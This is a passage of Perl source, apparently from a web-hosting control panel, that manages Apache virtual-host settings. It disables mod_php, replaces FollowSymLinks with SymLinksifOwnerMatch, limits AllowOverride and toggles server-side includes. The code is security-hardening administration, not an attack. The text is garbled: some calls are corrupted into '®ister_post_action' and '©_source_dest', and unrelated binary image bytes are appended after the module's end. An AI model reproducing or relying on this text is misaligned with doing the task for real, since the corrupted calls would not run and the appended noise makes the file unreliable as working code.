&apache::save_directive("SuexecUserGroup",
[ "#$d->{'uid'} #$d->{'ugid'}" ],
$vconf, $conf);
&flush_file_lines($virt->{'file'});
}
local $user = &apache::find_directive_struct("User", $vconf);
if ($user && ($user->{'words'}->[0] eq $oldd->{'user'} ||
$user->{'words'}->[0] eq '#'.$oldd->{'uid'})) {
&apache::save_directive("User", [ '#'.$d->{'uid'} ],
$vconf, $conf);
&flush_file_lines($virt->{'file'});
}
}
# fix_mod_php_security([&domains], [find-only])
# Goes through all virtual servers in non-mod_php mode, and adds the
# php_admin_value directive to forcibly disable mod_php if missing
sub fix_mod_php_security
{
local ($doms, $findonly) = @_;
$doms ||= [ &list_domains() ];
local @flush;
&require_apache();
local @fixdoms;
local @lockdoms;
if (!$apache::httpd_modules{'mod_php4'} &&
!$apache::httpd_modules{'mod_php5'}) {
# mod_php not even enabled, so do nothing
return ( );
}
foreach my $d (@$doms) {
next if (!$d->{'web'} || $d->{'alias'});
my $mode = &get_domain_php_mode($d);
if ($mode eq "cgi" || $mode eq "fcgid") {
local @ports = ( $d->{'web_port'},
$d->{'ssl'} ? ( $d->{'web_sslport'} ) : ( ) );
local $domfixed;
if (!$findonly) {
&obtain_lock_web($d);
&obtain_lock_ssl($d) if ($d->{'ssl'});
push(@lockdoms, $d);
}
foreach my $p (@ports) {
local ($virt, $vconf, $conf) = &get_apache_virtual(
$d->{'dom'}, $p);
next if (!$virt);
local @admin = &apache::find_directive(
"php_admin_value", $vconf);
local ($engine) = grep { /engine\s+Off/i } @admin;
if (!$engine) {
push(@admin, "engine Off");
&apache::save_directive(
"php_admin_value", \@admin,
$vconf, $conf);
push(@flush, $virt->{'file'});
$domfixed++;
}
}
push(@fixdoms, $d) if ($domfixed);
}
}
@flush = &unique(@flush);
if ($findonly) {
# Roll back all changes, since we are only testing for fixes
foreach my $f (@flush) {
&unflush_file_lines($f);
}
}
else {
# Actually save the files
foreach my $f (@flush) {
&flush_file_lines($f);
}
if (@flush) {
®ister_post_action(\&restart_apache);
}
}
# Unlock all locked domains
foreach my $d (@lockdoms) {
&release_lock_ssl($d) if ($d->{'ssl'});
&release_lock_web($d);
}
return @fixdoms;
}
# fix_symlink_security([&domains], [find-only])
# Goes through all virtual servers, and for any with Options FollowSymLinks
# set change them to SymLinksifOwnerMatch
sub fix_symlink_security
{
local ($doms, $findonly) = @_;
$doms ||= [ &list_domains() ];
local @flush;
local @fixdoms;
&require_apache();
local @lockdoms;
foreach my $d (@$doms) {
next if (!$d->{'web'} || $d->{'alias'});
local @ports = ( $d->{'web_port'},
$d->{'ssl'} ? ( $d->{'web_sslport'} ) : ( ) );
local $domfixed = 0;
if (!$findonly) {
&obtain_lock_web($d);
&obtain_lock_ssl($d) if ($d->{'ssl'});
push(@lockdoms, $d);
}
foreach my $p (@ports) {
local ($virt, $vconf, $conf) = &get_apache_virtual(
$d->{'dom'}, $p);
next if (!$virt);
local @dirs = &apache::find_directive_struct("Directory",
$vconf);
foreach my $dir (@dirs) {
# Fix Options line
my $fixed;
my @opts = &apache::find_directive("Options",
$dir->{'members'});
foreach my $o (@opts) {
if ($o =~ /(\s|\+)FollowSymLinks/) {
$o =~ s/FollowSymLinks/SymLinksifOwnerMatch/g;
$fixed++;
}
}
if ($fixed) {
&apache::save_directive("Options", \@opts,
$dir->{'members'}, $conf);
push(@flush, $dir->{'file'});
}
# For Apache 2.2 or later, disable other options
my $ofixed;
my $olist = &get_allowed_options_list();
if ($apache::httpd_modules{'core'} >= 2.2) {
my @allow = &apache::find_directive(
"AllowOverride", $dir->{'members'});
if (!@allow) {
# AllowOverride not set at all .. add
# a line for it
push(@allow, "All ".$olist);
$ofixed++;
}
elsif ($allow[0] !~ /$olist/) {
if ($allow[0] =~ /Options=(\S+)/) {
# Fix existing options
$allow[0] =~ s/Options=(\S+)/$olist/;
}
else {
# Append correct options
$allow[0] .= " ".$olist;
}
$ofixed++;
}
if ($ofixed) {
&apache::save_directive(
"AllowOverride", \@allow,
$dir->{'members'}, $conf);
push(@flush, $dir->{'file'});
}
}
$domfixed++ if ($fixed || $ofixed);
}
}
# Replace awstats symlinks with copies
local $htmldir = &public_html_dir($d);
local @dirs = ( "icon", "awstats-icon", "awstatsicons" );
if ($domfixed && !$findonly && $d->{'virtualmin-awstats'} &&
-l "$htmldir/$dirs[0]") {
local $dest = readlink("$htmldir/$dirs[0]");
&unlink_logged_as_domain_user($d, "$htmldir/$dirs[0]");
©_source_dest($dest, "$htmldir/$dirs[0]");
&system_logged("chown -R $d->{'uid'}:$d->{'gid'} ".
quotemeta("$htmldir/$dirs[0]"));
foreach my $dir (@dirs[1..$#dirs]) {
&unlink_file_as_domain_user($d, "$htmldir/$dir");
&virtual_server::symlink_logged_as_domain_user(
$d, $dirs[0], "$htmldir/$dir");
}
}
push(@fixdoms, $d) if ($domfixed);
}
@flush = &unique(@flush);
if ($findonly) {
# Roll back all changes, since we are only testing for fixes
foreach my $f (@flush) {
&unflush_file_lines($f);
}
}
else {
# Actually save the files
foreach my $f (@flush) {
&flush_file_lines($f);
}
if (@flush) {
®ister_post_action(\&restart_apache);
}
}
# Unlock all locked domains
foreach my $d (@lockdoms) {
&release_lock_ssl($d) if ($d->{'ssl'});
&release_lock_web($d);
}
return @fixdoms;
}
# fix_symlink_templates()
# Fix all templates that have Apache directives set to replace FollowSymLinks
# with SymLinksifOwnerMatch
sub fix_symlink_templates
{
my $olist = &get_allowed_options_list();
&require_apache();
foreach my $tmpl (&list_templates()) {
next if ($tmpl->{'id'} == 1); # Skip sub-server settings
&lock_file($tmpl->{'file'} || $module_config_file);
if ($tmpl->{'web'} && $tmpl->{'web'} ne 'none' &&
$tmpl->{'web'} =~ /(\s|\+)FollowSymLinks/) {
$tmpl->{'web'} =~ s/FollowSymLinks/SymLinksifOwnerMatch/g;
&save_template($tmpl);
}
if ($apache::httpd_modules{'core'} >= 2.2 &&
$tmpl->{'web'} && $tmpl->{'web'} ne 'none' &&
$tmpl->{'web'} !~ /AllowOverride[^\t\r\n]*$olist/) {
$tmpl->{'web'} =~ s/AllowOverride\s+([^\t\r\n]*)/AllowOverride $1 $olist/g;
&save_template($tmpl);
}
&unlock_file($tmpl->{'file'} || $module_config_file);
}
}
sub get_allowed_options_list
{
return "Options=ExecCGI,Includes,IncludesNOEXEC,".
"Indexes,MultiViews,SymLinksIfOwnerMatch";
}
# get_domain_web_ssi(&domain)
# Returns 1 and the file suffix if server-side includes are enabled for a
# domain, 0 and an optional error if not, and 2 if the global settings are
# in effect.
sub get_domain_web_ssi
{
local ($d) = @_;
local $p = &domain_has_website($d);
if ($p && $p ne 'web') {
return &plugin_call($p, "feature_get_web_domain_ssi", $d);
}
elsif (!$p) {
return (0, "Virtual server does not have a website");
}
&require_apache();
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'}, $d->{'web_port'});
return (0, "No Apache configuration found") if (!$virt);
# Get options for public_html
local @dirs = &apache::find_directive_struct("Directory", $vconf);
local $phd = &public_html_dir($d);
local ($dir) = grep { $_->{'words'}->[0] eq $phd } @dirs;
return (0, "No directory block for $phd found") if (!$dir);
local @opts = &apache::find_directive("Options", $dir->{'members'});
local $foundincludes;
foreach my $o (@opts) {
if ($o =~ /(^|\s|\+)(Includes|IncludesNOEXEC)(\s|$)/) {
$foundincludes = 1;
}
}
return (0) if (!$foundincludes);
# Look for AddOutputFilter INCLUDES suffix
local @filters = &apache::find_directive("AddOutputFilter", $dir->{'members'});
local $foundfilter;
foreach my $f (@filters) {
if ($f =~ /^INCLUDES\s+(\S+)/) {
$foundfilter = $1;
}
}
return (2) if (!$foundfilter);
return (1, $foundfilter);
}
# save_domain_web_ssi(&domain, suffix)
# Enable or disable SSI for a domain, with files of some suffix. Returns undef
# on success or an error message on failure.
sub save_domain_web_ssi
{
local ($d, $suffix) = @_;
local $p = &domain_has_website($d);
if ($p && $p ne 'web') {
return &plugin_call($p, "feature_save_web_domain_ssi", $d, $suffix);
}
elsif (!$p) {
return (0, "Virtual server does not have a website");
}
&require_apache();
&obtain_lock_web($d);
local @ports = ( $d->{'web_port'} );
push(@ports, $d->{'web_sslport'}) if ($d->{'ssl'});
foreach my $p (@ports) {
local ($virt, $vconf, $conf) = &get_apache_virtual($d->{'dom'}, $p);
next if (!$virt);
# Fix options for public_html
local @dirs = &apache::find_directive_struct("Directory", $vconf);
local $phd = &public_html_dir($d);
local ($dir) = grep { $_->{'words'}->[0] eq $phd } @dirs;
next if (!$dir);
local @opts = &apache::find_directive("Options", $dir->{'members'});
if ($suffix) {
# Adding to Options
local $foundincludes;
foreach my $o (@opts) {
if ($o =~ /(^|\s|\+)(Includes|IncludesNOEXEC)(\s|$)/) {
$foundincludes = 1;
}
}
if (!$foundincludes) {
$opts[0] .= " IncludesNOEXEC";
}
}
else {
# Removing from Options
foreach my $o (@opts) {
$o =~ s/(^|\s+)\+?(Includes|IncludesNOEXEC)(\s|$)/$3/g;
}
}
&apache::save_directive("Options", \@opts, $dir->{'members'}, $conf);
# Add AddOutputFilter directive for the suffix
local @filters = &apache::find_directive("AddOutputFilter",
$dir->{'members'});
local $idx;
local $oldsuffix;
for(my $i=0; $i<@filters; $i++) {
if ($filters[$i] =~ /^INCLUDES\s+(\S+)/) {
$idx = $i;
$oldsuffix = $1;
}
}
if (defined($idx) && $suffix) {
# Fix existing line
$filters[$idx] = "INCLUDES $suffix";
}
elsif (defined($idx) && !$suffix) {
# Remove existing line
splice(@filters, $idx, 1);
}
elsif (!defined($idx) && $suffix) {
# Add new line
push(@filters, "INCLUDES $suffix");
}
&apache::save_directive("AddOutputFilter", \@filters,
$dir->{'members'}, $conf);
# Add AddType directive for the suffix, if not .html
local @types = &apache::find_directive("AddType", $dir->{'members'});
local $idx;
if ($oldsuffix) {
for(my $i=0; $i<@types; $i++) {
if ($types[$i] =~ /^(\S+)\s+\Q$oldsuffix\E/) {
$idx = $i;
}
}
}
if (defined($idx) && $suffix) {
# Fix existing line
$types[$idx] = "text/html $suffix";
}
elsif (defined($idx) && !$suffix) {
# Remove existing line
splice(@types, $idx, 1);
}
elsif (!defined($idx) && $suffix) {
# Add new line
push(@types, "text/html $suffix");
}
&apache::save_directive("AddType", \@types, $dir->{'members'}, $conf);
&flush_file_lines($virt->{'file'});
}
&release_lock_web($d);
®ister_post_action(\&restart_apache);
return undef;
}
# fix_options_directives(&vconf, &config, [ignore-version])
# If running Apache 2.4+, Options lines with a mix of + and non+ are not
# allowed, so fix them up.
sub fix_options_directives
{
my ($vconf, $conf, $ignore) = @_;
&require_apache();
return 0 if ($apache::httpd_modules{'core'} < 2.4 && !$ignore);
my @o = &apache::find_directive("Options", $vconf);
my $changed = 0;
foreach my $o (@o) {
my @w = split(/\s+/, $o);
my $plus_minus = 0;
my $other = 0;
foreach my $w (@w) {
$plus_minus++ if ($w =~ /^[\-\+]/);
$other++ if ($w !~ /^[\-\+]/);
}
if ($plus_minus && $other) {
# Upgrade all non-decorated to +
foreach my $w (@w) {
if ($w !~ /^[\-\+]/) {
$w = "+".$w;
}
}
$o = join(" ", @w);
$changed++;
}
}
if ($changed) {
&apache::save_directive("Options", \@o, $vconf, $conf);
&flush_file_lines($vconf->[0]->{'file'});
}
foreach my $dir (&apache::find_directive_struct("Directory", $vconf)) {
$changed += &fix_options_directives($dir->{'members'}, $conf, $ignore);
}
return $changed;
}
# fix_options_template(&tmpl, [ignore-version]))
# If some template has Options lines for the web setting that are a mix of + and non+,
# fix them up
sub fix_options_template
{
my ($tmpl, $ignore) = @_;
&require_apache();
return 0 if ($apache::httpd_modules{'core'} < 2.4 && !$ignore);
return 0 if (!$tmpl->{'web'} || $tmpl->{'web'} eq 'none');
my @lines = split(/\t/, $tmpl->{'web'});
my $changed = 0;
foreach my $l (@lines) {
if ($l =~ /^\s*Options\s*(.*)/) {
my @w = split(/\s+/, $1);
my $plus_minus = 0;
my $other = 0;
foreach my $w (@w) {
$plus_minus++ if ($w =~ /^[\-\+]/);
$other++ if ($w !~ /^[\-\+]/);
}
if ($plus_minus && $other) {
# Upgrade all non-decorated to +
foreach my $w (@w) {
if ($w !~ /^[\-\+]/) {
$w = "+".$w;
}
}
$l = "Options ".join(" ", @w);
$changed++;
}
}
}
if ($changed) {
$tmpl->{'web'} = join("\t", @lines);
&save_template($tmpl);
}
}
$done_feature_script{'web'} = 1;
1;
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`